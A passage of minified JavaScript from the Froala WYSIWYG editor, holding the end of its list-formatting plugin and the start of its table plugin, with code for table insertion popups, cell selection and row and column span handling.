l=g.helpers.getPX(u(e[o]).css(a))||0;(e[o].style.marginLeft=null)===r&&(r=l);var i=0<r?"<".concat(t,' style="').concat(a,": ").concat(r,'px ">'):"<".concat(t,">"),s="</".concat(t,">");for(l-=r;0<l/g.opts.indentMargin;)i+="</".concat(t,">"),s+=s,l-=g.opts.indentMargin;n&&e[o].tagName.toLowerCase()==n?u(e[o]).replaceWith("".concat(i,"<li").concat(g.node.attributes(e[o]),">").concat(u(e[o]).html(),"</li>").concat(s)):u(e[o]).wrap("".concat(i,"<li></li>").concat(s))}g.clean.lists()}function d(e){var t,a,n=[];for(t=e.length-1;0<=t;t--)for(a=t-1;0<=a;a--){if(u(e[a]).find(e[t]).length||e[a]==e[t]){u(e[t]).addClass("fr-removed-block-".concat(t)),n.push(t),e.splice(t,1);break}if(u(e[a]).contains(e[t])){u(e[a]).addClass("fr-removed-block-".concat(a)),n.push(a),e.splice(a,1);break}}var r=[],o=!1;for(t=0;t<e.length;t++){var l=u(e[t]),i=e[t].parentNode,s=l.attr("class");if(l.is(":first-child")&&(o=!0,u(i.parentNode).removeAttr("start")),l.before(N(i.tagName)),"LI"==i.parentNode.tagName){if(l.is(":last-child")){var c=l.find("> ul, > ol").last();c.length&&c.wrap("<".concat(i.tagName,">"))}l.before(N("LI")),l.after(h("LI"))}else if("OL"==i.parentNode.tagName)o||(l.before(N("OL")),l.after(h("OL")));else if("UL"==i.parentNode.tagName)o||(l.before(N("UL")),l.after(h("UL")));else{var d="";s&&(d+=' class="'.concat(s,'"'));var p="rtl"==g.opts.direction||"rtl"==l.css("direction")?"margin-right":"margin-left";g.helpers.getPX(u(i).css(p))&&0<=(u(i).attr("style")||"").indexOf("".concat(p,":"))&&(d+=' style="'.concat(p,":").concat(g.helpers.getPX(u(i).css(p)),'px;"')),g.html.defaultTag()&&0===l.find(g.html.blockTagsQuery()).length&&l.wrapInner(g.html.defaultTag()+d),g.node.isEmpty(l.get(0),!0)||0!==l.find(g.html.blockTagsQuery()).length||("DIV"==i.parentNode.tagName&&g.html.defaultTag()?(l.prepend(h(g.html.defaultTag())),l.append(N(g.html.defaultTag()))):l.append("<br>")),l.append(h("LI")),l.prepend(N("LI"))}l.after(h(i.tagName)),"LI"==i.parentNode.tagName&&(i=i.parentNode.parentNode),r.indexOf(i)<0&&r.push(i)}for(t=0;t<r.length;t++){var f=u(r[t]),m=f.html();m=(m=m.replace(/<span class="fr-close-([a-z]*)"><\/span>/g,"</$1>")).replace(/<span class="fr-open-([a-z]*)"><\/span>/g,"<$1>"),f.replaceWith(g.node.openTagString(f.get(0))+m+g.node.closeTagString(f.get(0)))}return g.$el.find("li:empty").remove(),g.$el.find("ul:empty, ol:empty").remove(),g.clean.lists(),g.$el.find("ul:empty, ol:empty").remove(),g.html.wrap(),n}function m(e,t){var a=u(document.createElement("li"));if(e.childNodes.length)for(var n=e.childNodes[0].attributes,r=0;r<n.length;r++){var o=n[r];"style"===o.name&&(a[0].style.cssText+=o.value)}u(e).prepend(a),u(e).removeAttr("start");for(var l=g.node.contents(t)[0];l&&!g.node.isList(l);){var i=l.nextSibling;a.append(l),l=i}}function e(e){if("indent"==e||"outdent"==e){var t=!1,a=g.selection.blocks(!1,!0),n=[],r=a[0].previousSibling||a[0].parentElement;if("outdent"==e){if("UL"!=a[0].parentNode.tagName&&"UL"!=r.parentNode.tagName&&"OL"!=r.parentNode.tagName&&"LI"!=r.parentNode.tagName)return;if(!a[0].previousSibling&&"none"==r.parentNode.style.listStyleType)return void function l(e){for(g.selection.save();0<e.childNodes.length;)e.parentNode.parentNode.append(e.childNodes[0]);g.clean.lists(),g.selection.restore()}(r)}else{if("UL"!=a[0].parentElement.tagName&&"OL"!=a[0].parentElement.tagName&&"LI"!=a[0].parentElement.tagName)return;if(g.node.isBlock(a[0])&&"LI"!==a[0].tagName&&0<u(a[0]).parentsUntil(g.$el,"LI").length&&(a[0]=a[0].parentElement,r=a[0].parentElement),!a[0].previousSibling||"LI"!=a[0].previousSibling.tagName){if(0==u(a[0]).parents("li").length)return void function i(e){g.selection.save();var t="OL"==e.tagName?document.createElement("ol"):document.createElement("ul");for(u(t).css("list-style-type",u(e).css("list-style-type"));0<e.childNodes.length;)t.append(e.childNodes[0]);var a=document.createElement("li");t.append(a),e.append(t),g.clean.lists(),g.selection.restore()}(r);t=!0}}for(var o=0;o<a.length;o++)"LI"==a[o].tagName?(t=!0,n.push(a[o])):"LI"==a[o].parentNode.tagName&&n.indexOf(a[o].parentNode)<0&&(t=!0,n.push(a[o].parentNode));t&&("indent"==e?function f(e){g.selection.save();for(var t=!1,a=0;a<e.length;a++){var n=e[a].previousSibling;if(n&&"LI"==n.tagName&&!t){var r=u(e[a]).find("> ul, > ol").last().get(0);if(r)m(r,e[a]),u(n).append(u(r)),u(e[a]).remove();else{var o=u(n).find("> ul, > ol").last().get(0);if(o)u(o).append(u(e[a]));else{var l=u("<".concat(e[a].parentNode.tagName,">"));u(n).append(l),l.append(u(e[a]))}}}else if(!n||"OL"!=n.tagName&&"UL"!=n.tagName){var i=e[a].parentNode;if(t=!0,"UL"==i.tagName||"OL"==i.tagName){var s=u(e[a]).find("> ol, > ul"),c=null==e[a].previousSibling;if(s.length){var d=s.first().get(0);m(d,e[a]),c?u(i).prepend(u(d)):u(i).append(u(d)),u(e[a]).remove()}else u(e[a]).wrap("<".concat(i.tagName,">"));c&&0<u(i).find("> li").length&&u(i).attr("start","2")}}else{var p=u(e[a]).find("> ol, > ul").first().get(0);p?(m(p,e[a]),u(n).append(u(p).children()),u(e[a]).remove(),u(p).remove()):u(n).append(u(e[a]))}}g.clean.lists(),g.selection.restore()}(n):function s(e){g.selection.save();var t=[];do{t=d(e),e=[];for(var a=0;a<t.length;a++){var n=g.$el.find(".fr-removed-block-".concat(t[a])).first().get(0);u(n).removeClass("fr-removed-block-".concat(t[a])),""==u(n).attr("class")&&u(n).removeAttr("class"),e.push(n)}}while(0<t.length);g.selection.restore()}(n))}}return{_init:function t(){g.events.on("commands.after",e),g.events.on("keydown",function(e){if(e.which==o.KEYCODE.TAB){for(var t=g.selection.blocks(),a=[],n=0;n<t.length;n++)"LI"==t[n].tagName?a.push(t[n]):"LI"==t[n].parentNode.tagName&&a.push(t[n].parentNode);if(1<=a.length||a.length&&(g.selection.info(a[0]).atStart||g.node.isEmpty(a[0])))return e.preventDefault(),e.stopPropagation(),e.shiftKey?g.commands.outdent():g.commands.indent(),!1}},!0)},format:function p(e,t){var a,n,r=1<(n=g.selection.blocks(!0)).length&&n[n.length-1],o=g.selection.ranges();if(r&&o.length&&g.node.isEmpty(r)&&!o[0].endOffset&&o[0].setEndAfter(r.firstChild,1),g.html.syncInputs(),g.selection.save(),g.browser.safari&&g.helpers.getSafariVersion()<17){var l=g.selection.ranges();if(o&&o[0].endContainer&&l&&l[0].endContainer&&!o[0].endContainer.isSameNode(l[0].endContainer)&&o[0].endContainer.previousSibling&&o[0].endContainer.previousSibling.isSameNode(l[0].endContainer)){var i=u(l[0].endContainer).find('.fr-marker[data-type="false"]');u(o[0].endContainer).append(i[0])}}for(g.html.wrap(!0,!0,!0,!0),g.selection.restore(),n=g.selection.blocks(!0),a=0;a<n.length;a++)"LI"!=n[a].tagName&&"LI"==n[a].parentNode.tagName&&(n[a]=n[a].parentNode);if(g.selection.save(),function s(e,t){for(var a=!0,n=0;n<e.length;n++){if("LI"!=e[n].tagName)return!1;e[n].parentNode.tagName!=t&&(a=!1)}return a}(n,e)?t||d(n):c(n,e),g.html.unwrap(),g.selection.restore(),t=t||"default"){for(n=g.selection.blocks(),a=0;a<n.length;a++)"LI"!=n[a].tagName&&"LI"==n[a].parentNode.tagName&&(n[a]=n[a].parentNode);for(a=0;a<n.length;a++)"LI"==n[a].tagName&&(u(n[a].parentNode).css("list-style-type","default"===t?"":t),0===(u(n[a].parentNode).attr("style")||"").length&&u(n[a].parentNode).removeAttr("style"))}},refresh:function r(e,t){var a=u(g.selection.element());if(a.get(0)!=g.el){var n=a.get(0);(n="LI"!=n.tagName&&n.firstElementChild&&"LI"!=n.firstElementChild.tagName?a.parents("li").get(0):"LI"==n.tagName||n.firstElementChild?n.firstElementChild&&"LI"==n.firstElementChild.tagName?a.get(0).firstChild:a.get(0):a.parents("li").get(0))&&n.parentNode.tagName==t&&g.el.contains(n.parentNode)&&e.addClass("fr-active")}}}},o.DefineIcon("formatOLSimple",{NAME:"list-ol",SVG_KEY:"orderedList"}),o.RegisterCommand("formatOLSimple",{title:"Ordered List",type:"button",options:{"default":"Default",circle:"Circle",disc:"Disc",square:"Square"},refresh:function(e){this.lists.refresh(e,"OL")},callback:function(e,t){this.lists.format("OL",t)},plugin:"lists"}),o.RegisterCommand("formatUL",{title:"Unordered List",type:"button",hasOptions:function(){return this.opts.listAdvancedTypes},options:{"default":"Default",circle:"Circle",disc:"Disc",square:"Square"},refresh:function(e){this.lists.refresh(e,"UL")},callback:function(e,t){this.lists.format("UL",t)},plugin:"lists"}),o.RegisterCommand("formatOL",{title:"Ordered List",hasOptions:function(){return this.opts.listAdvancedTypes},options:{"default":"Default","lower-alpha":"Lower Alpha","lower-greek":"Lower Greek","lower-roman":"Lower Roman","upper-alpha":"Upper Alpha","upper-roman":"Upper Roman"},refresh:function(e){this.lists.refresh(e,"OL")},callback:function(e,t){this.lists.format("OL",t)},plugin:"lists"}),o.DefineIcon("formatUL",{NAME:"list-ul",SVG_KEY:"unorderedList"}),o.DefineIcon("formatOL",{NAME:"list-ol",SVG_KEY:"orderedList"})}); plugins/table.min.js 0000674 00000157245 00000000000 0010416 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ !function(e,t){"object"==typeof exports&&"undefined"!=typeof module?t(require("froala-editor")):"function"==typeof define&&define.amd?define(["froala-editor"],t):t(e.FroalaEditor)}(this,function(ye){"use strict";function r(e,t){(null==t||t>e.length)&&(t=e.length);for(var a=0,l=Array(t);a<t;a++)l[a]=e[a];return l}function Re(e){return function t(e){if(Array.isArray(e))return r(e)}(e)||function a(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function l(e,t){if(e){if("string"==typeof e)return r(e,t);var a={}.toString.call(e).slice(8,-1);return"Object"===a&&e.constructor&&(a=e.constructor.name),"Map"===a||"Set"===a?Array.from(e):"Arguments"===a||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(a)?r(e,t):void 0}}(e)||function n(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}ye=ye&&ye.hasOwnProperty("default")?ye["default"]:ye,Object.assign(ye.POPUP_TEMPLATES,{"table.insert":"[_BUTTONS_][_ROWS_COLUMNS_]","table.edit":"[_BUTTONS_]","table.colors":"[_BUTTONS_][_COLORS_][_CUSTOM_COLOR_]"}),Object.assign(ye.DEFAULTS,{tableInsertMaxSize:10,tableEditButtons:["tableHeader","tableFooter","tableRemove","tableRows","tableColumns","tableStyle","-","tableCells","tableCellBackground","tableCellVerticalAlign","tableCellHorizontalAlign","tableCellStyle"],tableInsertButtons:["tableBack","|"],tableResizer:!0,tableDefaultWidth:"100%",tableResizerOffset:5,tableResizingLimit:30,tableColorsButtons:["tableBack","|"],tableColors:["#61BD6D","#1ABC9C","#54ACD2","#2C82C9","#9365B8","#475577","#CCCCCC","#41A85F","#00A885","#3D8EB9","#2969B0","#553982","#28324E","#000000","#F7DA64","#FBA026","#EB6B56","#E25041","#A38F84","#EFEFEF","#FFFFFF","#FAC51C","#F37934","#D14841","#B8312F","#7C706B","#D1D5D8","REMOVE"],tableColorsStep:7,tableCellStyles:{"fr-highlighted":"Highlighted","fr-thick":"Thick"},tableStyles:{"fr-dashed-borders":"Dashed Borders","fr-alternate-rows":"Alternate Rows"},tableCellMultipleStyles:!0,tableMultipleStyles:!0,tableInsertHelper:!0,keepTextFormatOnTable:!1,tableInsertHelperOffset:15}),ye.PLUGINS.table=function(A){var O,f,n,r,l,o,y,T=A.$;function g(){var e=x();if(e){var t=A.popups.get("table.edit");if(t||(t=p()),t){A.popups.setContainer("table.edit",A.$sc);var a=I(e),l=a.left+(a.right-a.left)/2,n=a.bottom;A.popups.show("table.edit",l,n,a.bottom-a.top,!0),A.edit.isDisabled()&&(A.$el.removeClass("fr-no-selection"),A.edit.on(),A.button.bulkRefresh(),A.selection.setAtEnd(A.$el.find(".fr-selected-cell").last().get(0)),A.selection.restore())}}}function s(){var e=x();if(e){var t=A.popups.get("table.colors");t||(t=function o(){var e="";0<A.opts.tableColorsButtons.length&&(e='<div class="fr-buttons fr-tabs">'.concat(A.button.buildList(A.opts.tableColorsButtons),"</div>"));var t="";A.opts.colorsHEXInput&&(t='<div class="fr-color-hex-layer fr-table-colors-hex-layer fr-active fr-layer" id="fr-table-colors-hex-layer-'.concat(A.id,'"><div class="fr-input-line"><input maxlength="7" id="fr-table-colors-hex-layer-text-').concat(A.id,'" type="text" placeholder="').concat(A.language.translate("HEX Color"),'" tabIndex="1" aria-required="true"></div><div class="fr-action-buttons"><button type="button" class="fr-command fr-submit" data-cmd="tableCellBackgroundCustomColor" tabIndex="2" role="button">').concat(A.language.translate("OK"),"</button></div></div>"));var a={buttons:e,colors:function n(){for(var e='<div class="fr-color-set fr-table-colors">',t=0;t<A.opts.tableColors.length;t++)0!==t&&t%A.opts.tableColorsStep==0&&(e+="<br>"),"REMOVE"!=A.opts.tableColors[t]?e+='<span class="fr-command" style="background: '.concat(A.opts.tableColors[t],';" tabIndex="-1" role="button" data-cmd="tableCellBackgroundColor" data-param1="').concat(A.opts.tableColors[t],'"><span class="fr-sr-only">').concat(A.language.translate("Color")," ").concat(A.opts.tableColors[t]," </span></span>"):e+='<span class="fr-command" data-cmd="tableCellBackgroundColor" tabIndex="-1" role="button" data-param1="REMOVE" title="'.concat(A.language.translate("Clear Formatting"),'">').concat(A.icon.create("tableColorRemove"),'<span class="fr-sr-only">').concat(A.language.translate("Clear Formatting"),"</span></span>");return e+="</div>"}(),custom_color:t},l=A.popups.create("table.colors",a);return A.events.$on(A.$wp,"scroll.table-colors",function(){A.popups.isVisible("table.colors")&&s()}),function r(u){A.events.on("popup.tab",function(e){var t=T(e.currentTarget);if(!A.popups.isVisible("table.colors")||!t.is("span"))return!0;var a=e.which,l=!0;if(ye.KEYCODE.TAB==a){var n=u.find(".fr-buttons");l=!A.accessibility.focusToolbar(n,!!e.shiftKey)}else if(ye.KEYCODE.ARROW_UP==a||ye.KEYCODE.ARROW_DOWN==a||ye.KEYCODE.ARROW_LEFT==a||ye.KEYCODE.ARROW_RIGHT==a){var r=t.parent().find("span.fr-command"),o=r.index(t),s=A.opts.colorsStep,i=Math.floor(r.length/s),f=o%s,c=Math.floor(o/s),d=c*s+f,p=i*s;ye.KEYCODE.ARROW_UP==a?d=((d-s)%p+p)%p:ye.KEYCODE.ARROW_DOWN==a?d=(d+s)%p:ye.KEYCODE.ARROW_LEFT==a?d=((d-1)%p+p)%p:ye.KEYCODE.ARROW_RIGHT==a&&(d=(d+1)%p);var h=T(r.get(d));A.events.disableBlur(),h.focus(),l=!1}else ye.KEYCODE.ENTER==a&&(A.button.exec(t),l=!1);return!1===l&&(e.preventDefault(),e.stopPropagation()),l},!0)}(l),l}()),A.popups.setContainer("table.colors",A.$sc);var a=I(e),l=(a.left+a.right)/2,n=a.bottom;!function r(){var e=A.popups.get("table.colors"),t=A.$el.find(".fr-selected-cell").first(),a=A.helpers.RGBToHex(t.css("background-color")),l=e.find(".fr-table-colors-hex-layer input");e.find(".fr-selected-color").removeClass("fr-selected-color fr-active-item"),e.find('span[data-param1="'.concat(a,'"]')).addClass("fr-selected-color fr-active-item"),l.val(a).trigger("change")}(),A.popups.show("table.colors",l,n,a.bottom-a.top,!0)}}function i(){0===te().length&&A.toolbar.enable()}function c(e){if(e)return A.popups.onHide("table.insert",function(){A.popups.get("table.insert").find('.fr-table-size .fr-select-table-size > span[data-row="1"][data-col="1"]').trigger("mouseover")}),!0;var t="";0<A.opts.tableInsertButtons.length&&(t='<div class="fr-buttons fr-tabs">'.concat(A.button.buildList(A.opts.tableInsertButtons),"</div>"));var a={buttons:t,rows_columns:function r(){for(var e='<div class="fr-table-size"><div class="fr-table-size-info">1 × 1</div><div class="fr-select-table-size">',t=1;t<=A.opts.tableInsertMaxSize;t++){for(var a=1;a<=A.opts.tableInsertMaxSize;a++){var l="inline-block";2<t&&!A.helpers.isMobile()&&(l="none");var n="fr-table-cell ";1==t&&1==a&&(n+=" hover"),e+='<span class="fr-command '.concat(n,'" tabIndex="-1" data-cmd="tableInsert" data-row="').concat(t,'" data-col="').concat(a,'" data-param1="').concat(t,'" data-param2="').concat(a,'" style="display: ').concat(l,';" role="button"><span></span><span class="fr-sr-only">').concat(t," × ").concat(a," </span></span>")}e+='<div class="new-line"></div>'}return e+="</div></div>"}()},l=A.popups.create("table.insert",a);return A.events.$on(l,"mouseover",".fr-table-size .fr-select-table-size .fr-table-cell",function(e){d(T(e.currentTarget))},!0),function n(e){A.events.$on(e,"focus","[tabIndex]",function(e){var t=T(e.currentTarget);d(t)}),A.events.on("popup.tab",function(e){var t=T(e.currentTarget);if(!A.popups.isVisible("table.insert")||!t.is("span, a"))return!0;var a,l=e.which;if(ye.KEYCODE.ARROW_UP==l||ye.KEYCODE.ARROW_DOWN==l||ye.KEYCODE.ARROW_LEFT==l||ye.KEYCODE.ARROW_RIGHT==l){if(t.is("span.fr-table-cell")){var n=t.parent().find("span.fr-table-cell"),r=n.index(t),o=A.opts.tableInsertMaxSize,s=r%o,i=Math.floor(r/o);ye.KEYCODE.ARROW_UP==l?i=Math.max(0,i-1):ye.KEYCODE.ARROW_DOWN==l?i=Math.min(A.opts.tableInsertMaxSize-1,i+1):ye.KEYCODE.ARROW_LEFT==l?s=Math.max(0,s-1):ye.KEYCODE.ARROW_RIGHT==l&&(s=Math.min(A.opts.tableInsertMaxSize-1,s+1));var f=i*o+s,c=T(n.get(f));d(c),A.events.disableBlur(),c.focus(),a=!1}}else ye.KEYCODE.ENTER==l&&(A.button.exec(t),a=!1);return!1===a&&(e.preventDefault(),e.stopPropagation()),a},!0)}(l),l}function d(e){var t=e.data("row");null!==t&&(t=parseInt(t));var a=e.data("col");null!==a&&(a=parseInt(a));var l=e.parent();l.siblings(".fr-table-size-info").html("".concat(t," × ").concat(a)),l.find("> span").removeClass("hover fr-active-item");for(var n=1;n<=A.opts.tableInsertMaxSize;n++)for(var r=0;r<=A.opts.tableInsertMaxSize;r++){var o=l.find('> span[data-row="'.concat(n,'"][data-col="').concat(r,'"]'));n<=t&&r<=a?o.addClass("hover"):n<=t+1||n<=2&&!A.helpers.isMobile()?o.css("display","inline-block"):2<n&&!A.helpers.isMobile()&&o.css("display","none")}e.addClass("fr-active-item")}function p(e){if(e)return A.popups.onHide("table.edit",i),!0;if(0<A.opts.tableEditButtons.length){var t={buttons:'<div class="fr-buttons">'.concat(A.button.buildList(A.opts.tableEditButtons),"</div>")},a=A.popups.create("table.edit",t);return A.events.$on(A.$wp,"scroll.table-edit",function(){A.popups.isVisible("table.edit")&&g()}),a}return!1}function b(e){var t={startTag:"",closeTag:""};return A.opts.keepTextFormatOnTable&&(t=h(function s(e){var t=new Set,a=e.textContent,l=0,n=[e.firstChild];for(;0<n.length;){var r=n.pop();if(r&&(t.has(r)||(0===l&&a!==r.textContent&&(a=r.textContent,l++),t.add(r)),r.hasChildNodes()))for(var o=0;o<r.childNodes.length;){if(3===r.childNodes[o].nodeType)return Re(t);if(r.childNodes[o].textContent){if(0===l&&r.childNodes[o].textContent!==a){a=r.childNodes[o].textContent,n.push(r.childNodes[o]),l++;break}r.childNodes[o].textContent===a&&n.push(r.childNodes[o])}o++}}return Re(t)}(e).reverse())),{startTag:t.startTag,closeTag:t.closeTag}}function h(e){var t="",a="",l=["br","#text","#comment","font"];if(0<e.length)for(var n=e.length-1;0<=n;n--){var r=e[n],o=A.node.isBlock(r),s=l.indexOf(r.nodeName.toLowerCase());if(!o&&s<0){var i=r.style,f="";if(i&&i.length){for(var c=0;c<i.length;c++)f+=i[c]+": "+i[i[c]].replace(/"/gi,"")+"; ";f=f.trim()}t+=f?"<"+r.nodeName.toLowerCase()+' style="'+f+'">':"<"+r.nodeName.toLowerCase()+">",a="</"+r.nodeName.toLowerCase()+">"+a}}return{startTag:t,closeTag:a}}function u(){if(0<te().length){var e=ae();A.selection.setBefore(e.get(0))||A.selection.setAfter(e.get(0)),A.selection.restore(),A.popups.hide("table.edit"),A.opts.trackChangesEnabled?(A.track_changes.removedTable(e),N()):e.remove(),A.toolbar.enable()}}function m(e){var t=ae();if(0<t.length){if(0<A.$el.find("thead .fr-selected-cell").length&&"above"==e||0<A.$el.find("tfoot td.fr-selected-cell").length&&"below"==e)return;var a,l,n,r=x(),o=M(r);if(null==o)return;l="above"==e?o.min_i:o.max_i;var s="<tr>";for(a=0;a<r[l].length;a++)if("below"==e&&l<r.length-1&&r[l][a]==r[l+1][a]||"above"==e&&0<l&&r[l][a]==r[l-1][a]){if(0===a||0<a&&r[l][a]!=r[l][a-1]){var i=T(r[l][a]);i.attr("rowspan",parseInt(i.attr("rowspan"),10)+1)}}else{var f=T(r[l][a]);if("TH"==f.attr("tagName").toUpperCase())s+='<th style="'+f.attr("style")+'" ><br></th>';else{var c=b(r[l][a]);s+='<td style="'+f.attr("style")+'" >'+c.startTag+"<br>"+c.closeTag+"</td>"}}s+="</tr>",n=0<A.$el.find("thead .fr-selected-cell").length&&"below"==e||0<A.$el.find("tfoot td.fr-selected-cell").length&&"above"==e?T(t.find("tbody").not(t.find("> table tbody"))):T(t.find("tr").not(t.find("> table tr")).get(l)),"below"==e?"TBODY"==n.attr("tagName")?n.prepend(s):n[0].parentNode&&n[0].insertAdjacentHTML("afterend",s):"above"==e&&("TBODY"==n.attr("tagName")?n.append(s):n.before(s),A.popups.isVisible("table.edit")&&g())}}function v(e,t,a){var l,n,r,o,s,i=0,f=x(a);if(e<(t=Math.min(t,f[0].length-1)))for(n=e;n<=t;n++)if(!(e<n&&f[0][n]==f[0][n-1])&&1<(o=Math.min(parseInt(f[0][n].getAttribute("colspan"),10)||1,t-e+1))&&f[0][n]==f[0][n+1])for(i=o-1,l=1;l<f.length;l++)if(f[l][n]!=f[l-1][n]){for(r=n;r<n+o;r++)if(f[l][r]!==undefined)if(1<(s=parseInt(f[l][r].getAttribute("colspan"),10)||1)&&f[l][r]==f[l][r+1])r+=i=Math.min(i,s-1);else if(!(i=Math.max(0,i-1)))break;if(!i)break}i&&C(f,i,"colspan",0,f.length-1,e,t)}function w(e,t,a){var l,n,r,o,s,i=0,f=x(a);if(e<(t=Math.min(t,f.length-1)))for(l=e;l<=t;l++)if(!(e<l&&f[l][0]==f[l-1][0])&&f[l][0]!==undefined&&1<(o=Math.min(parseInt(f[l][0].getAttribute("rowspan"),10)||1,t-e+1))&&f[l][0]==f[l+1][0])for(i=o-1,n=1;n<f[0].length;n++)if(f[l][n]!=f[l][n-1]){for(r=l;r<l+o;r++)if(f[r][n]!==undefined)if(1<(s=parseInt(f[r][n].getAttribute("rowspan"),10)||1)&&f[r][n]==f[r+1][n])r+=i=Math.min(i,s-1);else if(!(i=Math.max(0,i-1)))break;if(!i)break}i&&C(f,i,"rowspan",e,t,0,f[0].length-1)}function C(e,t,a,l,n,r,o){var s,i,f;for(s=l;s<=n;s++)for(i=r;i<=o;i++)l<s&&e[s][i]==e[s-1][i]||r<i&&e[s][i]==e[s][i-1]||e[s][i]!==undefined&&1<(f=parseInt(e[s][i].getAttribute(a),10)||1)&&(1<f-t?e[s][i].setAttribute(a,f-t):e[s][i].removeAttribute(a))}function E(e,t,a,l,n){w(e,t,n),v(a,l,n)}function t(e){var t=A.$el.find(".fr-selected-cell");"REMOVE"!=e?t.css("background-color",A.helpers.HEXtoRGB(e)):t.css("background-color",""),g()}function R(e){e.style.removeProperty("border"),e.style.removeProperty("border-top"),e.style.removeProperty("border-bottom"),e.style.removeProperty("border-left"),e.style.removeProperty("border-right")}function x(e){var f=[];if(null==(e=e||null)&&0<te().length&&(e=ae()),e){if(!e.find("tr").html().match(/xl[0-9]+/gi))for(var t=e.find("tr:empty"),a=t.length-1;0<=a;a--)T(t[a]).remove();e.find("tr").not(e.find("> table tr")).each(function(s,e){var t=T(e),i=0;t.find("> th, > td").each(function(e,t){for(var a=T(t),l=parseInt(a.attr("colspan"),10)||1,n=parseInt(a.attr("rowspan"),10)||1,r=s;r<s+n;r++)for(var o=i;o<i+l;o++)f[r]||(f[r]=[]),f[r][o]?i++:f[r][o]=t;i+=l})})}return f}function $(e,t){for(var a=0;a<t.length;a++)for(var l=0;l<t[a].length;l++)if(t[a][l]==e)return{row:a,col:l}}function D(e,t,a){for(var l=e+1,n=t+1;l<a.length;){if(a[l][t]!=a[e][t]){l--;break}l++}for(l==a.length&&l--;n<a[e].length;){if(a[e][n]!=a[e][t]){n--;break}n++}return n==a[e].length&&n--,{row:l,col:n}}function _(){A.el.querySelector(".fr-cell-fixed")&&A.el.querySelector(".fr-cell-fixed").classList.remove("fr-cell-fixed"),A.el.querySelector(".fr-cell-handler")&&A.el.querySelector(".fr-cell-handler").classList.remove("fr-cell-handler")}function N(){var e=A.$el.find(".fr-selected-cell");0<e.length&&e.each(function(){var e=T(this);e.removeClass("fr-selected-cell"),""===e.attr("class")&&e.removeAttr("class")}),_()}function S(){A.events.disableBlur(),A.selection.clear(),A.$el.addClass("fr-no-selection"),A.$el.blur(),A.events.enableBlur()}function M(e){var t=A.$el.find(".fr-selected-cell");if(0<t.length){var a,l=e.length,n=0,r=e[0].length,o=0;for(a=0;a<t.length;a++){var s=$(t[a],e),i=D(s.row,s.col,e);l=Math.min(s.row,l),n=Math.max(i.row,n),r=Math.min(s.col,r),o=Math.max(i.col,o)}return{min_i:l,max_i:n,min_j:r,max_j:o}}return null}function I(e){var t=M(e);if(null!=t){var a=T(e[t.min_i][t.min_j]),l=T(e[t.min_i][t.max_j]),n=T(e[t.max_i][t.min_j]);return{left:a.length&&a.offset().left,right:l.length&&l.offset().left+l.outerWidth(),top:a.length&&a.offset().top,bottom:n.length&&n.offset().top+n.outerHeight()}}}function k(e,t){if(T(e).is(t))N(),T(e).addClass("fr-selected-cell");else{S(),A.edit.off();var a=x(),l=$(e,a),n=$(t,a);if(!l||!n)return;var r=function h(e,t,a,l,n){var r,o,s,i,f=e,c=t,d=a,p=l;for(r=f;r<=c;r++)(1<(parseInt(T(n[r][d]).attr("rowspan"),10)||1)||1<(parseInt(T(n[r][d]).attr("colspan"),10)||1))&&(i=D((s=$(n[r][d],n)).row,s.col,n),f=Math.min(s.row,f),c=Math.max(i.row,c),d=Math.min(s.col,d),p=Math.max(i.col,p)),(1<(parseInt(T(n[r][p]).attr("rowspan"),10)||1)||1<(parseInt(T(n[r][p]).attr("colspan"),10)||1))&&(i=D((s=$(n[r][p],n)).row,s.col,n),f=Math.min(s.row,f),c=Math.max(i.row,c),d=Math.min(s.col,d),p=Math.max(i.col,p));for(o=d;o<=p;o++)(1<(parseInt(T(n[f][o]).attr("rowspan"),10)||1)||1<(parseInt(T(n[f][o]).attr("colspan"),10)||1))&&(i=D((s=$(n[f][o],n)).row,s.col,n),f=Math.min(s.row,f),c=Math.max(i.row,c),d=Math.min(s.col,d),p=Math.max(i.col,p)),(1<(parseInt(T(n[c][o]).attr("rowspan"),10)||1)||1<(parseInt(T(n[c][o]).attr("colspan"),10)||1))&&(i=D((s=$(n[c][o],n)).row,s.col,n),f=Math.min(s.row,f),c=Math.max(i.row,c),d=Math.min(s.col,d),p=Math.max(i.col,p));return f==e&&c==t&&d==a&&p==l?{min_i:e,max_i:t,min_j:a,max_j:l}:h(f,c,d,p,n)}(Math.min(l.row,n.row),Math.max(l.row,n.row),Math.min(l.col,n.col),Math.max(l.col,n.col),a);N(),e.classList.add("fr-cell-fixed"),t.classList.add("fr-cell-handler");for(var o=r.min_i;o<=r.max_i;o++)for(var s=r.min_j;s<=r.max_j;s++)T(e).closest("table").is(T(a[o][s]).closest("table"))&&T(a[o][s]).addClass("fr-selected-cell")}}function K(e){var t=null,a=T(e.target);return"TD"==e.target.tagName||"TH"==e.target.tagName?t=e.target:0<a.closest("th",a.closest("thead")[0]).length?t=a.closest("th",a.closest("thead")[0]).get(0):0<a.closest("td",a.closest("tr")[0]).length&&(t=a.closest("td",a.closest("tr")[0]).get(0)),-1===A.$el.html.toString().search(t)?null:t}function B(){N(),A.popups.hide("table.edit")}function e(e){var t=K(e);if("false"==T(t).parents("[contenteditable]").not(".fr-element").not(".fr-img-caption").not("body").first().attr("contenteditable"))return!0;if(0<te().length&&!t&&B(),!A.edit.isDisabled()||A.popups.isVisible("table.edit"))if(1!=e.which||1==e.which&&A.helpers.isMac()&&e.ctrlKey)(3==e.which||1==e.which&&A.helpers.isMac()&&e.ctrlKey)&&t&&B();else if(r=!0,t){0<te().length&&!e.shiftKey&&B(),e.stopPropagation(),A.events.trigger("image.hideResizer"),A.events.trigger("video.hideResizer"),n=!0;var a=t.tagName.toLowerCase();e.shiftKey&&0<A.$el.find("".concat(a,".fr-selected-cell")).length?T(A.$el.find("".concat(a,".fr-selected-cell")).closest("table")).is(T(t).closest("table"))?k(l,t):S():((A.keys.ctrlKey(e)||e.shiftKey)&&"TD"===e.currentTarget.tagName&&(1<te().length||0===T(t).find(A.selection.element()).length&&!T(t).is(A.selection.element()))&&S(),l=t,0<A.opts.tableEditButtons.length&&k(l,l))}}function a(e){if(!A.edit.isDisabled()&&A.popups.areVisible())return!0;var 